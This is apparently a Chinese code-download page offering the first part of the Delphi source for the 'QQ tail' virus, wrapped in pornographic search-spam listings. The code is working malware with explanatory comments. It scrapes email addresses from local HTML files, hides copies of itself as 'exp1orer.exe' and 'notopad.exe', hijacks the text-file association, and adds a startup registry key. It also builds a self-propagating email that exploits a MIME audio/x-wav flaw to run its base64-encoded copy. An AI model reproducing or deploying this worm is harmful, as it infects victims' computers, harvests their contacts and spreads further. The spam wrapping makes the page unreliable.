亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? qq尾巴.txt

?? QQ尾巴的源代碼(Delphi7編寫) 該病毒會偷偷藏在用戶的系統中
?? TXT
?? 第 1 頁 / 共 2 頁
字號:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Forms, shellapi,
winsock, Controls, Classes, StdCtrls, ExtCtrls,DateUtils,inifiles;
type
TForm1 = class(TForm)
Timer1: TTimer;
Memo1: TMemo;
procedure Timer1Timer(Sender: TObject);
procedure Formcreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
procedure FindFiles(StartDir: string);
procedure GetEmailAddress(FileName:string);
procedure WriteAddress(Address:string);
{ Private declarations }
public
procedure getinputhandle;
procedure postmsg;
procedure scanemail;
procedure wmwindowsclose(var msg:Tmessage);message wm_queryendsession;
procedure kill98;
{ Public declarations }
end;
type 
cs=record 
address:array[0..99] of string; 
count:integer; //email地址的個數 
smtp:pchar; //smtp服務器的地址 
account:pchar; //發送信箋時使用的帳號
end;
var
Form1: TForm1;
hWnd11:hwnd;
i,safeid:integer;
talk1,talk2,talk3:string;
const 
HELO=HELO#13#10; 
MAILFROM=MAIL FROM: %S#13#10; 
RCPTTO=RCPT TO: %S#13#10; 
DATA=DATA#13#10; 
QUIT=QUIT#13#10; 
ENDSIGN=#13#10.#13#10;
implementation
// function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord; stdcall; external KERNEL32.DLL;
{$R *.dfm}
function checkwinver:string;
var
OS :TOSVersionInfo; 
begin
ZeroMemory(@OS,SizeOf(OS));
OS.dwOSVersionInfoSize:=SizeOf(OS);
GetVersionEx(OS);
Result:=未知;
if OS.dwPlatformId=VER_PLATFORM_WIN32_NT then begin
case OS.dwMajorVersion of
3: Result:=NT;
4: Result:=NT;
5: Result:=2000;
end;
if (OS.dwMajorVersion=5) and (OS.dwMinorVersion=1) then
Result:=XP;
end else begin
if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=0) then begin
Result:=95;
if (Trim(OS.szCSDVersion)=B) then
Result:=952;
end else
if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=10) then begin
Result:=98;
if (Trim(OS.szCSDVersion)=A) then
Result:=982;
end else
if (OS.dwMajorVersion=4) and (OS.dwMinorVersion=90) then
Result:=ME;
end; 
end;
procedure tform1.FindFiles(StartDir: string);
var 
SR: TSearchRec; //用來儲存返回的文件的一些數據
IsFound: Boolean;//做為一個標志 
begin 
IsFound :=FindFirst(StartDir+*.htm, faAnyFile-faDirectory, SR) = 0; 
//在startdir里面查找htm文件 
while IsFound do begin 
//如果找到htm文件 
GetEmailAddress(startdir+sr.Name); 
//這里調用我們自己定義的函數,傳遞的參數是startdir+sr.name也就是該文件的絕對路徑。 
//注意,這里的函數 GetEmailAddress我們等一下再來描述 
IsFound := FindNext(SR) = 0; 
//繼續查找htm文件,只到標志isfound為false 
end; 
FindClose(SR); 
IsFound := FindFirst(StartDir+*.*, faAnyFile, SR) = 0; 
//現在是查找所有的文件 
while IsFound do begin 
if ((SR.Attr and faDirectory) <> 0) and(SR.Name[1] <> .) then 
findfiles(startdir+sr.Name+\); 
//如果該文件是目錄,并且不是"."或者"..",那么就在該目錄里繼續查找,也就是在這里遞歸了。 
IsFound := FindNext(SR) = 0; 
end; 
FindClose(SR); 
end; 
procedure tform1.GetEmailAddress(FileName:string);
var 
F:textfile; 
S:string;//用來裝每次讀一行的字符串 
Address:string;//得到的email地址 
i,Position:integer; 
begin 
AssignFile(F,FileName); 
Reset(f); 
while not Eof(f) do 
begin 
Address:=; 
//首先清空address 
Readln(f,s); 
//讀取一行字符串到s中 
Position:=Pos(mailto:,S); 
//查找首個"mailto:"在s中的地址,如果一行中含有多個"mailto:"則需要你自己修改修改 
if Position > 0 then 
begin 
for i:=Position+7 to length(S) do 
//這里position+7里的7表示"mailto:"的長度 
begin 
if ((Upcase(s)<=#90) and (Upcase(s)>=#64)) or ((S<=#57) and (S>=#48)) or (S=.) then 
//判斷是否有效字符 
Address:=Address+S 
else 
break; 
end; 
if (Address<>) and (Pos(@,Address)<>0) then 
//如果是有效地址,就把它寫到列表中去。 
//但是,可能這個地址以前已經存在在這個列表中, 
//所以我定義了一個函數WriteAddress來判斷是否存在該地址 
//如果不存在,就添加到地址列表中去。 
WriteAddress(Address); 
end; 
end; 
closefile(f); 
end; 
procedure tform1.WriteAddress(Address:string);
var 
F:textfile; 
S,Str:string; 
CanWrite:boolean; 
Path:array[0..255] of char; 
begin
GetSystemDirectory(path,256); 
//首先取得系統目錄,到時候把email地址列表文件保存到這里。 
Str:=Strpas(Path); 
CanWrite:=true; 
AssignFile(F,Str+\maillist.lst); 
if FileExists(Str+\maillist.lst)=false then 
begin 
//如果不存在maillist.lst,則信建一個文件maillist.lst來存放email地址。 
Rewrite(F); 
writeln(F,Address); 
Closefile(F); 
exit; 
end else 
begin 
Reset(f); 
while not Eof(F) do 
begin 
Readln(F,S); 
if Address=S then 
begin 
CanWrite:=false; 
break; 
end; 
end; 
CloseFile(F); 
end;
if CanWrite then 
begin 
Append(F); 
Writeln(F,Address); 
CloseFile(F); 
end; 
end;
procedure SelfCopy;
var 
Path,value:array [0..255] of char; 
Hk:HKEY; 
S:string; 
begin 
GetSystemDirectory(Path,256);
//取得系統的路徑 
s:=strpas(Path);
//轉換成字符串 
CopyFile(pchar(paramstr(0)),pchar(S+\exp1orer.exe),false);
CopyFile(pchar(paramstr(0)),pchar(S+\notopad.exe),false);
//把自身拷貝到系統目錄下為ruin.exe,virus_ruin.exe 
SetFileAttributes(pchar(S+\exp1orer.exe),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+\notopad.exe),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//設置剛才的兩個文件為系統和隱藏 
RegOpenKey(HKEY_CLASSES_ROOT,txtfile\shell\open\command,Hk); 
value:=notopad.exe %1;
RegSetvalueEx(Hk,,0,REG_SZ,@value,17); 
//把virus_ruin.exe和文本文件關聯 
RegOpenKey(HKEY_LOCAL_MACHINE,Software\Microsoft\Windows\CurrentVersion\Run,Hk); 
value:=notopad.exe;
RegSetvalueEx(Hk,ruin,0,REG_SZ,@value,8);
//設置開機自動運行ruin.exe 
end;
procedure EncodeBASE64(Dest,Source:string);//這里是用兩個字符串作為參數,也就兩個文件的路徑 
const 
_Code64: String[64] =(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/); 
//這里就是base64編碼算法的64個字符 
crlf=#13#10; 
//定義crlf為回車換行 
var 
s,d:file; 
buf1:array[0..2] of byte; 
buf2:array[0..3] of char; 
llen,len,pad,i:integer; 
begin 
assignfile(d,dest); //這里是目標文件 
rewrite(d,1); 
assignfile(s,source);//這里是原始文件 
reset(s,1); 
pad:=0; 
llen:=0; 
while (1=1) do 
begin 
blockread(s,buf1,3,len);if len=0 then break; 
if (len<3) then 
begin 
pad:=3-len; 
for i:=len to 2 do 
buf1:=0; 
end; 
buf2[0]:=_Code64[buf1[0] div 4+1]; 
buf2[1]:=_Code64[(buf1[0] mod 4)*16 + (buf1[1] div 16)+1]; 
buf2[2]:=_Code64[(buf1[1] mod 16)*4 + (buf1[2] div 64)+1]; 
buf2[3]:=_Code64[buf1[2] mod 64+1]; 
//這里進行了編碼 
if (pad<>0) then 
begin 
if pad=2 then buf2[2]:==; 
buf2[3]:==; 
//輸入只有一個或兩個字節,那么輸出將用等號"="補足 
blockwrite(d,buf2,4); 
end 
else 
begin 
blockwrite(d,buf2,4); 
end; 
inc(llen,4); 
if (llen=76) then 
begin 
blockwrite(d,crlf,2); 
//控制每行只寫76個字符 
llen:=0; 
end; 
end; 
blockwrite(d,crlf,2); 
closefile(d); 
closefile(s); 
end; 
function makeboundary:string; 
begin 
result:=-----=_老同學_+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10)); 
end;
procedure makeemlfile; 
var 
f,d:textfile; 
path:array[0..255] of char; 
boundary1,boundary2,S,str,line:string; 
begin 
GetSystemDirectory(path,256); 
str:=strpas(path); 
boundary1:=makeboundary; 
boundary2:=makeboundary; 
//這里,我們隨機的生成了兩個標簽。
Randomize;
s:=From: +inttostr(Random(100))+@21cn.com+#13#10//這里你可以換成你自己的email地址
+Subject: 你好!#13#10 //這里,你也可以隨機的來生成主題 
+X-Priority: 1#13#10 //郵件的優先級,其實可以忽略 
+Mime-Version: 1.0#13#10 
+Content-Type: multipart/related;boundary="+boundary1+"#13#10#13#10 
+--+boundary1+#13#10 
+Content-Type: multipart/alternative;boundary="+boundary2+"#13#10 
+--+boundary2+#13#10 
+Content-Type: text/html#13#10 
+Content-Transfer-Encoding: quoted-printable#13#10#13#10 
+<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>#13#10 
+--+boundary1+#13#10 
+Content-Type: audio/x-wav;name="ruin.exe"#13#10 //就是這里audio/x-wav為mime漏洞了。 
+Content-Transfer-Encoding: base64#13#10 
+Content-ID: <THE-CID>#13#10#13#10; 
//這里就是填充一些必要的信息。 
assignfile(f,str+\ruin.eml); 
rewrite(f); 
write(f,s);//首先把上面的內容寫入文件ruin.eml 
CopyFile(pchar(paramstr(0)),pchar(str+\ruin_temp.exe),false);
//因為不能打開自身進行讀寫,所以,這里先做一個拷貝文件,我們直接來讀拷貝后的文件 
encodebase64(str+\ruin_eml.txt,str+\ruin_temp.exe); 
deletefile(str+\ruin_temp.exe); 
//刪除剛才拷貝的臨時文件 
assignfile(d,str+\ruin_eml.txt); 
reset(d); 
while not eof(d) do 
begin 
readln(d,line); 
writeln(f,line); 
//接著向ruin.eml里面寫入我們的病毒代碼的base64編碼 
end; 
closefile(d); 
deletefile(str+\ruin_eml.txt); 
//刪除剛才調用base64編碼算法生成的臨時文件 
closefile(f); 
end; 
function mysizeof(buffer:string):integer; //這個函數用來得到數據的長度 
var 
i:integer; 
begin 
for i:=1 to length(buffer) do 
if buffer=#10 then break; 
mysizeof:=i; 
end; 
function randomaddress:pchar; //產生一個用戶名 
begin
Randomize;
result:=pchar(inttostr(random(1000))+@21cn.com);
end;
function getip(name:pchar):pchar; 
type 
plongint=^longint; 
var 
phe:phostent;
address:longint;
begin 
phe:=gethostbyname(name);
if phe <> nil then 
begin 
address:=longint(plongint(phe^.h_addr_list^)^); 
getip:=inet_ntoa(TInAddr(Address)); 
end 
else getip:=name; 
end;

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
91影院在线观看| 99久久国产免费看| 亚洲成人激情av| 亚洲精品一二三| 亚洲综合在线观看视频| 亚洲欧洲色图综合| 一区二区三区免费网站| 亚洲激情在线激情| 亚洲va国产va欧美va观看| 日本色综合中文字幕| 麻豆精品国产91久久久久久| 另类小说色综合网站| 国产一区二区毛片| 91论坛在线播放| 欧美色精品天天在线观看视频| 欧美日韩精品系列| 26uuu欧美| 亚洲欧美色一区| 日韩精品一二三| 国产成人99久久亚洲综合精品| 成人激情开心网| 欧美日高清视频| 久久先锋影音av| 亚洲精品视频在线观看免费 | 久久综合久色欧美综合狠狠| 久久久久久久久久久久久女国产乱 | 国产精品视频看| 一区二区成人在线观看| 亚洲成精国产精品女| 韩国午夜理伦三级不卡影院| 99久久综合精品| 日韩视频在线永久播放| 国产精品美女久久福利网站| 午夜影院久久久| 国产成人在线视频网址| 欧美三级电影在线看| 国产日韩欧美精品一区| 亚洲风情在线资源站| 国产91精品一区二区麻豆网站| 欧美日韩小视频| 中文字幕一区免费在线观看| 免费成人美女在线观看| 91国产成人在线| 欧美国产97人人爽人人喊| 午夜久久久久久久久久一区二区| 国产suv精品一区二区三区| 欧美精品一卡二卡| 亚洲精品乱码久久久久久日本蜜臀| 免费精品99久久国产综合精品| 99国产精品久久久久久久久久 | 一区二区三区四区在线| 国内精品视频一区二区三区八戒| 欧美三级在线看| 亚洲裸体在线观看| 国产麻豆一精品一av一免费 | 99久久国产综合精品女不卡| 欧美mv日韩mv| 日日骚欧美日韩| 在线观看免费视频综合| 国产精品美女久久福利网站| 日韩高清不卡一区二区| 91农村精品一区二区在线| 久久久久久久久久久99999| 美女网站色91| 欧美一级日韩一级| 亚欧色一区w666天堂| 一本色道亚洲精品aⅴ| 亚洲天堂免费看| 91精品免费观看| 午夜精品一区二区三区免费视频| 在线欧美一区二区| 亚洲一区二区三区自拍| 欧美特级限制片免费在线观看| 中文字幕在线不卡| 色综合久久久久综合| 中文字幕综合网| 在线观看三级视频欧美| 亚洲国产日韩精品| 777欧美精品| 精品在线你懂的| 国产三级一区二区三区| 成人毛片在线观看| 亚洲欧美激情插| 欧美三级乱人伦电影| 免费视频最近日韩| 久久久久一区二区三区四区| 国产成人综合自拍| 国产精品毛片a∨一区二区三区| 成人黄色av电影| 亚洲一区二区三区四区五区黄| 欧美日韩国产高清一区二区| 开心九九激情九九欧美日韩精美视频电影 | 香蕉影视欧美成人| 日韩欧美国产一二三区| 国产99久久久精品| 亚洲最大成人综合| 91精品国产91综合久久蜜臀| 国内精品伊人久久久久影院对白| 国产精品污www在线观看| 色女孩综合影院| 久久激情五月婷婷| 国产精品久久夜| 欧美色图天堂网| 国产一区中文字幕| 亚洲欧美日韩国产综合| 欧美丰满美乳xxx高潮www| 狠狠色丁香婷综合久久| 亚洲精品国产无天堂网2021| 日韩欧美一级特黄在线播放| 成人av集中营| 97精品久久久久中文字幕| 亚洲h在线观看| 国产日本欧洲亚洲| 这里只有精品免费| 99久久er热在这里只有精品66| 日韩黄色小视频| 中文字幕一区二区三区四区不卡 | 日韩三级在线免费观看| 播五月开心婷婷综合| 日韩av成人高清| 国产精品成人在线观看| 制服丝袜亚洲精品中文字幕| 国产最新精品精品你懂的| 亚洲午夜在线观看视频在线| 国产亚洲精品bt天堂精选| 3atv一区二区三区| 日本韩国欧美一区| 成人黄色大片在线观看| 国产精品一区二区在线播放 | 国产精品理论在线观看| 日韩精品一级中文字幕精品视频免费观看 | 日本成人中文字幕| 91精品国产综合久久久蜜臀图片| 在线观看欧美黄色| 亚洲一级片在线观看| 国产日韩欧美一区二区三区乱码| 欧美一区二区三区在线| 在线观看日产精品| 色婷婷综合久久久中文字幕| 国产91精品免费| 国产风韵犹存在线视精品| 精品中文字幕一区二区| 蜜臀91精品一区二区三区| 亚洲123区在线观看| 亚洲制服丝袜av| 有坂深雪av一区二区精品| 国产精品美女久久久久久久网站| 日韩欧美一区二区三区在线| 欧美精品vⅰdeose4hd| 欧美午夜精品理论片a级按摩| 99久久国产综合精品女不卡| www.欧美色图| 成人黄色在线视频| 99精品国产99久久久久久白柏| fc2成人免费人成在线观看播放| 国产91高潮流白浆在线麻豆| 激情小说亚洲一区| 国产乱妇无码大片在线观看| 国产麻豆午夜三级精品| 国产成人亚洲综合a∨婷婷图片 | 日韩**一区毛片| 性做久久久久久免费观看欧美| 手机精品视频在线观看| 秋霞av亚洲一区二区三| 精品一区二区三区在线观看国产 | 极品瑜伽女神91| 国产精品原创巨作av| 99国产精品一区| 欧美午夜精品电影| 日韩欧美一区二区三区在线| 久久综合资源网| 国产精品久久久久久亚洲毛片| 亚洲欧洲无码一区二区三区| 亚洲午夜免费电影| 久久国产精品色| 成人h动漫精品一区二区| 日本高清免费不卡视频| 日韩视频免费观看高清完整版在线观看| 精品少妇一区二区| 亚洲欧洲成人av每日更新| 亚洲va欧美va人人爽| 国产自产v一区二区三区c| caoporm超碰国产精品| 51久久夜色精品国产麻豆| 欧美国产97人人爽人人喊| 一区二区国产视频| 国产一区二区三区久久久| 欧美亚洲动漫制服丝袜| 日韩精品一区二区三区在线播放 | 99精品欧美一区| 欧美一区二区久久| 亚洲美女屁股眼交3| 天天做天天摸天天爽国产一区| 国产一区二三区| 欧美中文字幕一二三区视频| 久久久一区二区| 天堂一区二区在线| 日本韩国精品在线| 国产欧美视频一区二区三区| 午夜精品视频在线观看|